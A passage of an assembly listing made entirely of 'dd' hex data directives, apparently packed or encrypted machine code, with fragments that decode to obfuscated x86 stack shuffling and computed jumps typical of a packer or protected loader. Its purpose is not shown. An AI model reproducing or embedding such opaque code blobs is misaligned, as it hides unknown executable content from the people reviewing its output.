4190F96Ah, 0A8751BE3h, 0DDA804Ah, 0CEFD4A99h dd 0DB4F20B2h, 5BC7167Fh, 4044EEE9h, 9573B016h, 0B1000000h dd 5119AC75h, 2FA2DEABh, 55EF500Fh, 286DD63Fh, 0B3038AECh dd 0CD0C40E6h, 0F9CE1D17h, 5E2BD19Bh, 17CA7AE8h, 0BC9CA84Eh dd 0BB084DF3h, 4EB0F48Ch, 85D43DDBh, 0DF8552B0h, 34309E12h dd 16BC84E2h, 30D161C7h, 6EE6B016h, 9F000000h, 86D7DD63h dd 4E9D9E51h, 6AC7586h, 7C0FDB39h, 23E0BB1h, 2B613802h dd 51BA23A8h, 42A06D84h, 9708D57Bh, 8668DC48h, 56EB5C28h dd 0A20409D6h, 9F10DD46h, 8329F250h, 0E06CA877h, 14BA8101h dd 0C5A2D647h, 32FA49BEh, 3704AA75h, 1AC08CEAh, 5E8DDC4Dh dd 0DB4F2115h, 807BE9CFh, 0B01642E6h, 6006D230h, 6BD32293h dd 1, 3AAB75A9h, 99906AAFh, 0B13D71E6h, 8C018E9Fh, 529FE44Dh dd 4F065D23h, 1C6BD4DBh, 8E21E947h, 0E8B51EC4h, 7E61E3C7h dd 8DC90EB4h, 29DA4A6h, 899DECB6h, 7EC3A92Ch, 3774284Fh dd 0C390F9D1h, 0EBF79D65h, 5FF2BE1Ch, 0BC89F298h, 0D69EFC4Bh dd 6C4365h, 0A60F9BDFh, 0ED8AAD9h, 2915D502h, 5A00C83Bh dd 58217F4Eh, 3D0563B2h, 0A46CCA97h, 287DB9FEh, 0BE7017D5h dd 5F48C413h, 7CE5C669h, 0D8326B48h, 0CB1A8D34h, 0A4A006F6h dd 0C7D37941h, 5BB947DFh, 12A74B6h dd 86B20000h, 20760A39h, 52BBDB4Fh, 0D2AD2803h, 0B1F65F05h dd 983E0664h, 41711A49h, 0ACE0D138h, 59699C9h, 8D33FCB6h dd 90EEBB24h, 7FDD22C8h, 0ABBF0EB4h, 905D03CBh, 7FC46A32h dd 0FAC65921h, 0AD168754h, 4B206FE0h, 0EEB6145Bh, 0FF2E7B48h dd 0D5014881h, 8FDE47B0h, 0F6BE2123h, 0E6AD0B50h, 0B3027340h dd 9AAFB79Fh, 514CB65Bh, 8A000000h, 458AE2F8h, 4F223A16h dd 69AE17DBh, 589D430Bh, 4F1F5729h, 2271DADBh, 1F621E4Dh dd 54BADB4Fh, 0E9C2FE10h, 0C76D3867h, 735589FAh, 0B18CDB71h dd 0B3004529h, 0E9493766h, 7FE8DB4Eh, 0EB4F0130h, 9902DB4Eh dd 862CF654h, 6D832337h, 39000000h, 4A8FDDF8h, 384FEC1Bh dd 0A7EC55D1h, 0F1552B5Ah, 86DCD501h, 0DA4B18BEh, 0EF4D2271h dd 95758127h, 2B5A27CDh, 0D501F24Ah, 4ABDA793h, 3997DC82h dd 6478C76Dh, 93C2CE07h, 0D501F0EDh, 2D72DB44h, 0D63EF8FEh dd 0F3C029CAh, 5A27CD95h, 0DEF5539h, 7035F3D1h, 0D90D99FDh dd 0A10F5470h, 431E6DB5h, 6695DA92h, 0C4819E90h, 0D21C2891h dd 0AEC4DDF8h, 5C091E5h, 0ADDC218Ah, 0D122E449h, 44A26FD8h dd 5591D67Ch, 0B2793384h, 9ACE3F0Ch, 86D50279h, 24CA9272h dd 59E82857h, 58C6CBEAh, 8B31F9ECh, 31D79F7Fh, 0ECB91764h dd 511B7946h, 95F342ABh, 345522C8h, 29F11450h, 0CF977783h dd 6897E429h, 0CBAA8C18h, 8C61B019h, 36Eh, 8C542400h, 3C09AF75h dd 0A37016DEh, 6D37945h, 6E3BE1A8h, 0D4A14710h, 3A07AD76h dd 9C690FDCh, 1CE743Eh, 6532D8A3h, 32FF68E8h, 3C890000h dd 0E7895724h, 4C781h, 0EF830000h, 243C8704h, 243C895Ch dd 564368h, 241C8900h, 33B06851h, 0C8B4244h, 4C48124h dd 0F7000000h, 91E981D9h, 0F72BFD61h, 0BAE981D9h, 8967ED47h dd 8B5459CFh, 0C481241Ch, 4, 4EC81h, 3C890000h, 8438F24h dd 52241C8Bh, 0C281E289h, 4, 4C281h, 14870000h, 34FF5C24h dd 0C4815F24h, 4, 0F92D60E9h, 0BA485CFFh, 2B8AFE62h, 0B8C2B1D4h dd 65451E3h, 0E0FFC503h, 4733CAAEh, 415C9516h, 613E8B30h dd 0B8A36Ah, 0F6E704EBh, 78E95179h, 6000005h, 0AE8E9A40h dd 51313DE3h, 0F5D5E187h, 96768228h, 191B27CDh, 53F9C297h dd 0FAA06747h, 9C420EEEh, 42E8B090h, 0A3D29F36h, 0D4FACEDDh dd 75094954h, 0ED3A07ADh, 519912B1h, 83D29678h, 0AAB65C25h dd 8F5C02CAh, 0F3F86931h, 0C6785010h, 53A06DD6h, 35842AF5h dd 919B0CD7h, 0C3BEB2EDh, 0A41AE750h, 13DB0E36h, 0ACDB286Dh dd 0DB4E54D4h, 91A5F45Dh, 333FE5B1h, 98E81764h, 99DB4E54h dd 0B783E130h, 0A76ECC11h, 0B8E73401h, 0DB4E54C8h, 48970069h dd 0A84E1573h, 6ED6BADBh, 0FD09AF7Bh, 5F05D02Eh, 57EAB210h dd 0B27FE88Eh, 0A01C2965h, 0B7673363h, 0D73A3968h, 0C4AADB4Eh dd 0BCD5580h, 6CEAB016h, 28000000h, 0BA602886h, 9F450D6Bh dd 20DFA3D2h, 2F15DB4Fh, 0BD85E335h, 2B0E4A17h, 4E1A340Ch dd 1278C730h, 0B0161A70h, 3A4675C2h, 8EDB4ED4h, 7B79DFEAh dd 5FC893DDh, 1A810h, 75E60000h, 0D93704AAh, 3D9B680Eh dd 87FDCA70h, 0EDB82B19h, 0BA98657Ch, 40968674h, 9304D177h dd 0BA87E52Ah, 4C5CD749h, 0FE67A9A7h, 0F3BB9BAFh, 75F7414Dh dd 63C106ACh, 0D1A6F59Bh, 0BD02A873h, 9EED935Fh, 0F173D9C9h dd 939F450Eh, 45EBB3h, 4105DEC4h, 0A13C1747h, 0E01549D2h dd 26FB4A7Ah, 235D8CD9h, 0EDB4F0Eh, 2EF856A5h, 0F847BB88h dd 0B192CEBCh, 0E0ABA676h, 1682D13Ah, 0A083B32Eh, 8A38B016h dd 0F1000000h, 4B0B75A4h, 0D29BDB4Eh, 23EE5F2Ch, 86A36BBAh dd 68B75D28h, 0CE9B410Ah, 0ED63481h, 32A9B68h, 0DB4F207Dh dd 9EFC4BB4h, 9CE92ED4h, 4F21136Dh, 25CB93DBh, 0B31CE758h dd 0AB198F64h, 0EA7D46B9h, 7137C22h, 0EBB85E27h, 384FC08Dh dd 50924B10h, 0AE22EF58h, 59D90440h, 5EB01677h, 8Eh, 5B28869Ch dd 3BD204EAh, 61CAEF24h, 45EBB412h, 0A84E1A78h, 6CD8C4DBh dd 0F4652C8Ah, 0F88B98B8h, 7ECD36D0h, 0A5B15720h, 5D28865Bh dd 0E3A783B7h, 0C1BC6998h, 0A3491472h, 3091225Eh, 25F709B2h dd 946107CFh, 0D0FFD423h, 0DB4E67A3h, 0B58228F3h, 1BE88E57h dd 67E19FCEh, 0E750DB4Eh, 7278ECD8h, 2756A36Ah, 0DB4E6759h dd 67512F5Eh, 77E0DB4Eh, 88F443ACh, 10DC3ADCh, 0ADB51B6Ah dd 4AB016FBh, 0Ah, 0AE9DC703h, 0D2311886h, 4A86BB83h, 2D828201h dd 0C38BE177h, 90DF501Dh, 0F5C26832h, 0EB7E4AA8h, 0C4137C22h dd 2BF89E66h, 0DC3E260Ah, 0B8E98BA0h, 0C00F1EDFh, 0E6F29862h dd 15444C89h, 0DB4E916Bh, 0AFF45DC6h, 0ABEBD873h, 5AA94CA5h dd 99DE0Dh, 0B00ED138h, 387441E7h, 0BCF2068Dh, 96E54EC6h dd 408D5AC3h, 2F741AE2h, 13F8000h, 0F948B1D5h, 212DD39Bh dd 6D37941h, 0FB8E5BB9h, 5320892Fh, 1E6493E2h, 0CFD50140h dd 0B67E61E3h, 5C240410h, 0C38BE9B6h, 3F6E1241h, 5AC3D501h dd 0ED3424F1h, 0BD1566B1h, 8FDEC02Ch, 0F6BE2123h, 0CA5C4450h dd 0F1B65BAAh, 113h, 8FDDF82Fh, 41701B4Ah, 78E1D138h, 0DF854DABh dd 852BF3D3h, 0EC925AB8h, 552B5AA7h, 0DCD501FFh, 5F4F2473h dd 0D0984BF9h, 6998E52Ah, 0D5020017h, 4E62B11Ah, 5B63DC66h dd 45FBB6h, 0F8390000h, 16458AE2h, 0DB4F223Ah, 0D0763F9Dh dd 45AE81h, 0FB2FD5A2h, 0A3ECC893h, 875CAB7Fh, 4EF22858h dd 0D68EF4DBh, 0B5024B6h, 3160E2ADh, 0DB4EF14Fh, 0C11079E2h dd 0F30B4574h, 0DD46DB4Eh, 9131D1h, 0F8E70000h, 30D6A2DDh dd 4489F263h, 384FF215h, 5988D5D1h, 0D501F227h, 7F52A10Ah dd 23EB4916h, 0C991717Dh, 4E275623h, 8FD501F2h, 134FA1A3h dd 0F21F71h, 5DBB0ADEh, 90360295h, 0EE4C1B27h, 65B27F25h dd 16E4A36h, 157EE7D5h, 82EAEBC6h, 0DAB4F03Dh, 0BB95A593h dd 0E5174695h, 4CCAD580h, 1E872DF6h, 0B1D39DD9h, 92B4CD70h dd 82B68954h, 4D9CC872h, 0AC521A78h, 6ADABEDFh, 4C91DBFAh dd 0FD83B2FFh, 34CEAC58h, 0AF4D7CCBh, 82C480ABh, 86C30D19h dd 0EDBA6028h, 83522D7Ch, 0F957A4E9h, 72BF8C32h, 4F203D43h dd 228BF4DBh, 7458A4D3h, 70D9D123h, 0D77D45A3h, 0A123EBCBh dd 0FACF0E72h, 51BA23D4h, 0F255D00Ch, 0B6F534EAh, 0A8639267h dd 1E59C51Dh, 84E2AF55h, 0D44512B8h, 4411B77Eh, 0CD03412Dh dd 5CD4105Fh, 0D52AE794h, 0FF65D120h, 9AD3440Ch, 0E8FCA567h dd 997985EEh, 5E2BD1h, 9FC08D33h, 96789BBh, 5DCE9B41h dd 55E8B00Eh, 0AA1BE88Eh, 2A663541h, 426AECB9h, 1F7DCCBCh dd 97E4B157h, 0F9C66C39h, 31B3988h, 0D1000000h, 0AF758C54h dd 16DE3C09h, 7945A370h, 0E1A806D3h, 47106E3Bh, 0AD76D4A1h dd 0FDC3A07h, 743E9C69h, 0D8A301CEh, 83E86532h, 0C8904ECh dd 8806824h, 14890000h, 0E7895724h, 4C781h, 0EF830000h dd 243C8704h, 241C895Ch, 54529168h, 24148B06h, 4C481h dd 0EC810000h, 4, 81242489h, 42404h, 835B0000h, 148904ECh dd 8438F24h, 56241C8Bh, 0C681E689h, 4, 4C681h, 34870000h dd 148B5C24h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h dd 27C3E95Ch, 58D3FFF9h, 0F5214C1h, 0B872D56Eh, 6545789h dd 0E0FFC503h, 6022DF32h, 2029BC33h, 29ED8173h, 663C49FBh dd 5AFD460Ch, 1491EE33h, 1974D725h dd 3D5AA921h, 0A1DA559h, 6DAE3F9Bh, 0EA60329h, 19DFE7F3h dd 5334EDDFh, 676C1F69h, 64985387h, 31C59FF1h, 5B8E7814h dd 4426B742h, 25DB2A95h, 2EF90DD5h, 54456FF7h, 0F01BE00h dd 4990AA93h, 479CF1E3h, 3BF6E5E7h, 62317AF4h, 19511481h dd 32A704EBh, 0E1E91D34h, 0FE000005h, 0A6869238h, 492935DBh dd 0EDCDD97Fh, 8E6E7A20h, 11131FC5h, 4BF1BA9Fh, 0F2985F3Fh dd 943A06E6h, 3AE0A888h, 9BCA972Eh, 0D4FAC8E5h, 8601414Ch dd 0C3BDEC39h, 6EDB4F20h, 20A2DE05h, 5B8FDB4Fh, 0F1947BEBh dd 0A1F059C2h, 90D57B43h, 536C1443h, 5CC5DB4Eh, 0AFEB380Dh dd 85E10B9Eh, 0A47BAF2h, 2469AFE3h, 0FD83685h, 0B57D5D69h dd 1CE4420Fh, 4C19BF89h, 47A572DBh, 9309D67Ch, 4CC3F25h dd 0D4614B93h, 0D53E1EF0h, 771DE9C9h, 19BF8B6Bh, 8127EE4Ch dd 0E58B56B4h, 4AF0BA18h, 0CC785C7Dh, 5B09ED06h, 2A36DCA8h dd 135A1F5Bh, 0ABBBC5F4h, 0D76DB4Eh, 37CCD7D9h, 1CC28AE8h dd 0DAA4024Fh, 0BDB6E534h, 27DB4E67h, 0A4F10341h, 4E680B75h dd 0B2E126DBh, 0DB4E67CEh, 4291FA63h, 16FB4ADCh, 6A71B0h dd 75AF0000h, 64C207ADh, 953B0699h, 21EE57C8h, 4F3710E5h dd 56BFDD6Bh, 7F033207h, 75DB4E4Dh, 182AD58Fh, 0DAB01691h dd 410EB47Ch, 87117E3h, 151B9h, 758F0000h, 0D93704AAh dd 0EB47B0Eh, 0AD7AD8A5h, 9686C207h, 2E1B8DB5h, 0C898E817h dd 3099DB4Eh, 2DA378C7h, 976285BFh, 0DA16E5F1h, 0CD57F5C8h dd 74D2217Ah, 0B0FA06ACh, 0C106AC75h, 0DE1A6185h, 0E33215B8h dd 3FE5B00Eh, 281C8272h, 3A46ECB5h, 1FEC925Ah, 8451F7C1h dd 0E9B65C26h, 4F1CC28Bh, 854BF95Fh, 57B9AB19h, 0BF8C32F9h dd 9999FF4Eh, 39B01630h, 21D842FDh, 4F9E2FACh, 85E7h, 0AC752500h dd 9BCA4C19h, 0DB4F20E5h, 117AE34Ch, 30507FCCh, 1DB4F20h dd 97206498h, 65EBA943h, 0A7F44116h, 4E640878h, 71C029DBh dd 5EA34913h, 639EE211h, 2A93DB4Eh, 229006DBh, 50F6BF22h dd 0F59B6444h, 57FDCA28h, 0EA96C512h, 47DB4E63h, 46BA8FDEh dd 0C1716CD8h, 11B016FDh, 6DEB95C4h, 0DD46DB4Eh, 49268Eh dd 75640000h, 0DB3906ACh, 859C690Fh, 6F38AB99h, 608F11DCh dd 0DB4F2120h, 0D63FA811h, 0AA7580CAh, 0B7726839h, 95FEBA50h dd 34DA99C8h, 240ADB4Eh, 0AEADB520h, 1865B016h, 4E4097E9h dd 9C420FDBh, 2A935ECFh, 173DBh, 75B10000h, 70993AABh dd 0E51F69EAh, 8951AF7Ch, 7DAC2EF6h, 0DB4E9003h, 0F35CC52Eh dd 23210526h, 18AB73D1h, 7340A94Fh, 0F660CE02h, 21C82DDFh dd 4AA74D2h, 563A9BF8h, 4E625927h, 3B6FD8DBh, 0F0591A06h dd 0ACF15AC2h, 5550305Fh, 4978DB4Eh, 0BCEA1618h, 0C1107944h dd 71324574h, 0AAEFD137h, 12A057Bh, 32D8A1D5h, 0D329F465h dd 0A1F76006h, 0F56633D9h, 2572BF8Ch, 1298AF6h, 0A3EA7D5h dd 0ACC83757h, 0B513621Eh, 0C60247EDh, 3B30C32Fh, 7084D366h dd 5522C890h, 1F85C26h, 0BFA591D5h, 0D2DE844Ch, 0F987B603h dd 38D501F8h, 0F8BCC4F3h, 0C75D501h, 0DD834DA3h, 0C268308Eh dd 2C5BA8F5h, 0D501F854h, 0C72574DDh, 9C8C59FFh, 8EEC0E36h dd 0DD4E1BC1h, 0C817BD87h, 0F0FCA26Ah, 5B6A7E08h, 1869DB6h dd 9560000h, 4F38DBCh, 0D53ED502h, 204D2AEh, 6107D4D5h dd 0EF582394h, 0DDF8D8A0h, 0C1FD4A8Fh, 3BC95A5Ah, 0B4CCF311h dd 7DDB4E81h, 4978C514h, 0D137A242h, 0FF703795h, 78D29671h dd 9C69D2DCh, 0C9B7E62Bh, 68D5016Eh, 74DDB0FFh, 0DB8149A7h dd 9427EFCFh, 0C5926CCh, 16EA3DDh, 0BC258ED5h, 5826EB88h dd 94FD1A0Dh, 0FBA169C7h, 6309D02Eh, 0B7D5A96h, 7B1A6FA6h dd 0E7B45A25h, 7F62E2C6h, 0C0A811B7h, 2FF7EA5Ah, 8D957D89h dd 2AB65BD4h, 45h, 5E288668h, 4C8E69B8h, 9CB4E328h, 0B5DB4F22h dd 6DBA074Ch, 4F20423Eh, 5F86EFDBh, 0DB4F2121h, 8358A710h dd 4F212C54h, 4BA9F0DBh, 9A0BD87Eh, 565DF4Bh, 2D5CA1D5h dd 0DB4F2223h, 19B9C52Eh, 0B0h, 8FDDF8CFh, 7D23EC4Ah, 3694E12Eh dd 4B7AC96Fh, 0D1384FBCh, 0F14F1C85h, 5ACB9629h, 4EAFA790h dd 0A673DC02h, 0BD87E48h, 83C8319Ah, 0EBB85E25h, 37172B7Ah dd 0CDFCC96Fh, 0D5019BA8h, 0C79023EEh, 8DEBB821h, 3C5320C6h dd 0CFDE1450h, 0B67E61E3h, 997B0534h, 4DB6D501h, 5A7BD8E4h dd 569ECD12h, 51CAD5F3h, 0BF7FA015h, 0F342FE0Ch, 6220EC20h dd 0EF7BFB63h, 935BB986h, 3AFF20EDh, 16C2BEEDh, 9A06CEAEh dd 0D8F0898Dh, 0B7066F3Ah, 99F7194Bh, 0FC5A27CDh, 50C18E34h dd 18BD98E7h, 14E00F54h, 93C481ABh, 0F0964F57h, 98E72447h dd 6505CC5h, 4A8FDDF8h, 2379D91Bh, 5281CED1h, 0D4FAC72Eh dd 8C5779Ah, 1FEA7524h, 2B9467B6h, 95C4115Eh, 0D4FB0FEBh dd 308EDD46h, 640AD568h, 0B1BD2697h, 603EA6E2h, 0AE4371E5h dd 36CB3C94h, 3C8BF4A7h, 0A37016DEh, 0D88D7074h, 0C480EE35h dd 0A7B35921h, 8C59FFC7h, 21A6033Fh, 0DE4D6C99h, 0BE64318Fh dd 78ECD0F1h, 0B17BD85h, 0F0BD632Bh, 8D2h, 28868800h, 0E766B55Bh dd 9AF751Fh, 7016DE3Ch, 0D37945A3h, 3BE1A806h, 0A147106Eh dd 7AD76D4h, 690FDC3Ah, 0CE743E9Ch, 32D8A301h, 5452E865h dd 4C2815Ah, 83000000h, 148704EAh, 89535C24h, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 241C895Ch, 5E08950h, 4 dd 8704E883h, 895C2404h, 0BE56240Ch, 6545889h, 348BF389h dd 4C48124h, 68000000h, 72B0h, 83242489h, 59042404h, 4EC81h dd 1C890000h, 8418F24h, 592434FFh, 8B04C483h, 8953241Ch dd 4C381E3h, 83000000h, 1C8704C3h, 66E95C24h, 5FFFF921h dd 1C5958FBh, 0EFE955E6h, 23512A09h, 545DDCB8h, 0FFC50306h dd 0E6BB02E0h, 0C11DE27Ch, 959A053Fh, 0A6466E7Dh, 0D6F0330Ah dd 0C09D6F2Eh, 4EE4C254h, 41C3FC69h, 0DC26F73h, 6A33152Dh dd 0E0570F2Eh, 0E26D6B25h, 0A91A8024h, 786FD60Ch, 2AA3586Ah dd 522B6A34h, 0FD467158h, 0CEDB372Eh, 53B8C603h, 0D0F83303h dd 0E1B5477Ah, 6EEC4214h, 0EDA91614h, 7147FC2Fh, 0A5CE634Fh dd 0AA8D8D65h, 8906545Fh, 4D101DB5h, 998D8906h, 0FC064D05h dd 51D85C7h, 5B80064Dh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 24FFC4C3h, 0E9F838E9h dd 0Dh, 1C84C737h, 446B7323h, 0E2912059h, 7D858B32h, 0C7064D2Ch dd 4D02E985h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 8E0F323Bh, 6, 27F9958Bh dd 3360064Dh, 4D1EF19Dh, 619AB106h, 2585B5FFh, 6A064Dh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 5B04AEC3h, 0E2A9D94Dh, 8BDE819Ah, 5595FFC1h, 89064D2Eh dd 4D0B9DBDh, 0FF006A06h, 4D051195h, 0EBC08B06h, 819CA94Eh dd 0D383A948h, 0C8BB466Ch, 0A1E83462h, 0D73FB310h, 0FD411276h dd 7D23A6FBh, 80585CC3h, 0E1F3CBBDh, 32668192h, 0E1C7CA25h dd 0D38F561Eh, 0ADEF0D78h, 0DC014Ah, 0AF682BCEh, 0F8BE79h dd 5FA454CAh, 0FC23D702h, 0D3D87CFEh, 0EB3E3613h, 3B1D0204h dd 5E9E92Ah, 0B77D0000h, 5A250511h, 0FEC8A8B4h, 9F6C4C58h dd 440DEDF9h, 1890929Eh, 0BCC86E37h, 636F15DCh, 511B783h dd 0ABB75D25h dd 68184714h, 0C9D4FAC0h, 0CF9BF9BEh, 9CEB5C29h, 7AD75D4h dd 6D13DC3Ah, 13B98161h, 7A20E846h, 8840F935h, 5699C71Fh dd 0A718E58Bh, 0CD1AEF3Eh, 142F5180h, 0AC02DB4Fh, 85D43DE3h dd 0E9B65C27h, 0AC5F0573h, 0BDF93EE4h, 0DEF9798Ah, 0ADC1102Dh dd 4F5B01CDh, 0C321A36Fh, 522E55FBh, 0DFDB4EC6h, 0B21BC189h dd 571E7C49h, 0FEC3E4B1h, 0C6FE82B1h, 8AB9DB4Eh, 0DB4EC6F6h dd 9E07D23Bh, 8F61E34Fh, 46413D53h, 0E13061FEh, 511B783h dd 0EAB75D25h, 0CF753F9Dh, 13429102h, 0DB4EF260h, 925FBD84h dd 0C08D33FFh, 0BB19E64Fh, 0B7C49EFh, 7DE753A2h, 166CE082h dd 7217B0h, 83D00000h, 4EFF2C54h, 9AF7ADBh, 0BE86D53Eh dd 3A07AD75h, 4F20770Bh, 0AD977DDBh, 16421032h, 1C7B0h dd 75050000h, 0EA3704AAh, 21126E9Dh, 0B61FDB4Fh, 0BC3E0967h dd 69D9F680h, 0C5EC6162h, 0DB4EF1BBh, 99C80D76h, 0DB4EF1E7h dd 0AB78E14Ah, 9EE2115Eh, 93DB4EF1h, 0B07DDB2Ah, 59C73D0Ah dd 872DF8EBh, 2DD39B7Bh, 27F45221h, 5825CB94h, 672F7EE7h dd 0C106AC75h, 0E22B9C63h, 663E9DC2h, 23F847B0h, 8754FAC5h dd 29F25097h, 5926CC96h, 0C4307FE8h, 1945D80h, 1A268F35h dd 0FFCC723Ah, 4A3665B2h, 0E7DB4EF8h, 7D12F7Eh, 6F369461h dd 0A16E14DCh, 9CFAC730h, 2602DD3h, 9A86953Bh, 0C56B37AAh dd 0C282F05Ch, 16681F17h, 3B6AB7B0h, 0DB4F0245h, 27CD96ECh dd 6C076FBEh, 45000000h, 3906AC75h, 45B2B0ECh, 0D8532D5Ch dd 75DEDB4Eh, 1CEDE141h, 6EDFAC52h, 8E58B605h, 37A51BE8h dd 6B11DA0Dh, 10B67F5Fh, 9618E543h, 60661A49h, 62CBDB4Eh dd 4E60453Bh, 1A83ECDBh, 0F96BD94Dh, 168074FEh, 4583B0h dd 86C10000h, 141A0B4Ah, 0E837C6D7h, 4E1BC18Ah, 0B17E24F0h dd 0A76FCD9Ah, 74C33401h, 0E0A95C08h, 75E42E3Ah, 83704AAh dd 0DB4F206Bh, 3FD19379h, 679618E1h, 0DB4F2119h, 0F746AF18h dd 1642F191h, 126B0h, 75640000h, 0DA3805ABh, 0DA276C12h dd 4F20D5ABh, 0A4F35CDBh, 8BE9AECFh, 710F3EC0h, 0C0DB4F20h dd 339FEE57h, 5E04CE31h, 8CE0F552h, 7A20E947h, 0A0ED3CADh dd 38450671h, 89D61BD1h, 1FD265Ah, 7BA20BD5h, 0D501FD05h dd 8D5AC32Ch, 0BCF6672Fh, 0EE946145h, 4A7CB021h, 8B970095h dd 703DE3ABh, 2054141h, 92DFACD5h, 2061D63h, 156B9AD5h dd 1CD50206h, 307FE8B3h, 955D80C4h, 0B614E3EFh, 96F443E9h dd 631D4CCEh, 0CED50205h, 6265A89h, 0A20BD502h, 0A503D039h dd 0C6A37DDh, 74D29F45h, 173805ABh, 0D3BB3133h, 4C14F76Dh dd 90B29AA6h, 47B65B59h, 185h, 58DAA200h, 2115729h, 871DAD5h dd 0B37BCA3Bh, 4A8FDDF8h, 3841701Bh, 3378E1D1h, 15640AD5h dd 741AE240h, 1AC08868h, 0DAA2004Dh, 0BF87E534h, 3CE612Ch dd 0B627F45Dh, 0FF3E4271h, 8AF3D501h, 2FF65421h, 935EBC89h dd 1D0920EDh, 63C9B127h, 5BD30FE1h, 0EB73E462h, 6CE2C7Bh dd 0DA6C5460h, 1CB65BF9h, 9864F7BEh, 5EBC89F2h, 3887F096h dd 73D0h, 0E2F80E00h, 0C9F8458Ah, 0DB4F20B7h, 75C2117Ah dd 4F220A46h, 29F147DBh, 0DC45B683h, 651B4A97h, 0CCDB4F1Fh dd 0F23F1463h, 0DA8047A5h, 0B759C0Dh, 26DB4F20h, 413F6EBDh dd 65DB4F1Fh, 943A079Ah, 20ED56C7h, 8552F8C2h, 2DA3A10Fh dd 0DFA8064Dh, 0C67EEA39h, 650BD634h, 0FDD82798h, 255499DDh dd 0DB4F212Bh, 11B1BD26h, 0A5h, 761CE442h, 21E938A9h, 4A8FDDF8h dd 384FEC1Bh, 1FEC55D1h, 0E53F9C1h, 3B4574C1h, 0F6D501F1h dd 0F21A668Dh, 0AE17D501h, 0A36B4B5Fh, 740130FDh, 69D501F2h dd 5C24C77Dh, 0F0D5ABDAh, 0F35CD501h, 51AF7E8Ah, 0A011DE84h dd 315F7651h, 946107D3h, 0F084FC23h, 433D501h, 0D501F07Ch dd 18814CB5h, 8350F6C2h, 3564A912h, 0CAD35040h, 136D9CE1h dd 0A4CEAD91h, 0AD910B75h, 0F2BD26CEh, 7DDB2089h, 0ECC110B6h dd 1544C68Eh, 0CEAD906Bh, 27F45DC6h, 42222206h, 6594D993h dd 0C47EF110h, 0CD9CA811h, 0B302A86Fh, 8FDDF8EBh, 805A1B4Ah dd 4DD120h, 0FAC0AFD1h, 0CA1982D4h, 63C18EF7h, 1AE9F59Bh dd 0A89277DEh, 75C4FC46h, 0F3BC4F17h, 0A60F804Dh, 103F8CD9h dd 0D4FA7670h, 0DA0958C1h, 98AF362h, 0AD77D44h, 723FE5ACh dd 0FFF56F5Bh, 0BE212391h, 0F19763F6h, 602DD39Bh, 9A7A86EFh dd 125F2CD2h, 0F645EBB4h, 0E025CB98h, 0AB8478A4h, 95F33730h dd 5D90EEBEh, 0DE2319Ah, 0A95C08ECh, 98F63BE1h, 651B4ACCh dd 0CCA88AEFh, 97ABFA63h, 344C7BC8h, 0FDA88AEFh, 1FE74594h dd 0FD63479h, 0A64C1369h, 0A648257h, 95000000h, 0FAC76D37h dd 54723A89h, 9AF758Ch, 7016DE3Ch, 0D37945A3h, 3BE1A806h dd 0A147106Eh, 7AD76D4h, 690FDC3Ah, 0CE743E9Ch, 32D8A301h dd 8953E865h, 4C381E3h, 50000000h, 4B8h, 58C32900h, 5C241C87h dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 3A682414h dd 89000035h, 0BF572404h, 4E603C6Bh, 5C63F781h, 0FA894834h dd 83243C8Bh, 0EC8104C4h, 4, 83242489h, 58042404h, 8904EC83h dd 0D389241Ch, 5B085889h, 5024048Bh, 405E089h, 5000000h dd 4, 5C240487h, 5A2434FFh, 4C481h, 0DEE90000h, 55FFF919h dd 78EC9BD6h, 0E821B27Ch, 0B8D9ED04h, 6546560h, 0E0FFC503h dd 5AAAE63Ch, 70A581ECh, 661F562Bh, 1AA19C46h, 2E40F3B8h dd 65B080E1h, 698C95A9h, 50AD8E1Ah, 16861057h, 491D03DDh dd 375404B4h, 5624D90Ch, 75A9C71Ah, 536E1B5Ch, 5512CC01h dd 2A3362FEh, 87CDCAFh, 71E0D93Fh, 11DF65F3h, 766A795h dd 0FB404EBh, 96E91054h, 0CA000004h, 72525E04h, 15F501A7h dd 0B999A54Bh, 5A3A46ECh, 0DDDFEB91h, 17BD86CBh, 0BE642B0Bh dd 6006D2B2h, 6AC7454h, 679663FAh, 0D4FABB19h, 0FB480D18h dd 0FABAB4CCh, 0C5147DD4h, 7AD75FDh, 0C68FED3Ah, 0AA73D120h dd 9961BF04h, 0B090A4F3h, 287542E8h, 8D5A00CAh, 81CA0251h dd 4AB3ED7Bh, 2FD59DFBh, 126E9DEAh, 1FDB4E86h, 349267B6h dd 207EC369h, 0DBA5D456h, 56DB4E85h, 46B784EDh, 5DAC22F7h dd 859FE110h, 0E918DB4Eh, 0DB4E8597h, 0FD66319Ah, 0DF0242AEh dd 85657117h, 270713B9h, 8AE8B55Bh, 7AD81DC3h, 0CB3C09AFh dd 0C186A77Ch, 23F09663h, 4DF763B2h, 1C28CE9Ah, 1CE743Ch dd 4E85A1D2h, 0E75D43DBh, 16D96AFCh, 5591B0h, 75CF0000h dd 0ED3A07ADh, 210F71A0h, 0B922DB4Fh, 0A7F69C63h, 4F210A78h dd 4004EADBh, 16428D95h, 1DE745B0h, 0EA39AA77h, 182h, 0AA75C000h dd 0ED93704h, 0F04E9B68h, 0D3318026h, 35936006h, 9DFBC86Eh dd 71612ED4h, 2593590Bh, 8F5A8DB7h, 35FDDDE9h, 8639838Fh dd 0EAB75D28h, 3CC2A79h, 6732905Dh, 9E04F4C1h, 201854A6h dd 7D0332ADh, 0B4DB4E3Dh, 5C54174Bh, 0E6AD9DEFh, 0D23BDEAFh dd 0B65C2583h, 5C02CAAAh, 0C167318Fh, 23C996F4h, 8B31F856h dd 0BDEC6E35h, 0DB4E59C3h, 0CF9C056Eh, 5CB79DFh, 0BE392B99h dd 0B01687B4h, 6843h, 0D19EFC00h, 7514DC2Bh, 0DB3906ACh dd 289E6B11h, 8E578ABAh, 0C00DDCE8h, 4F20EF91h, 45EBB7DBh dd 0D33C0778h, 0CA5D2684h, 1C8D5A00h, 0AD2572E8h, 42ABF0A3h dd 0C84A1775h, 4E68E799h, 78E14ADBh, 9BC937ABh, 16F8D660h dd 45E5B0h, 75230000h, 74C106ACh, 4F203B45h, 3E8DF6DBh dd 993F0B69h, 9BC9B5CCh, 0EDF99F68h, 4AA75A3h, 206B0837h dd 0B279DB4Fh, 18E58B54h, 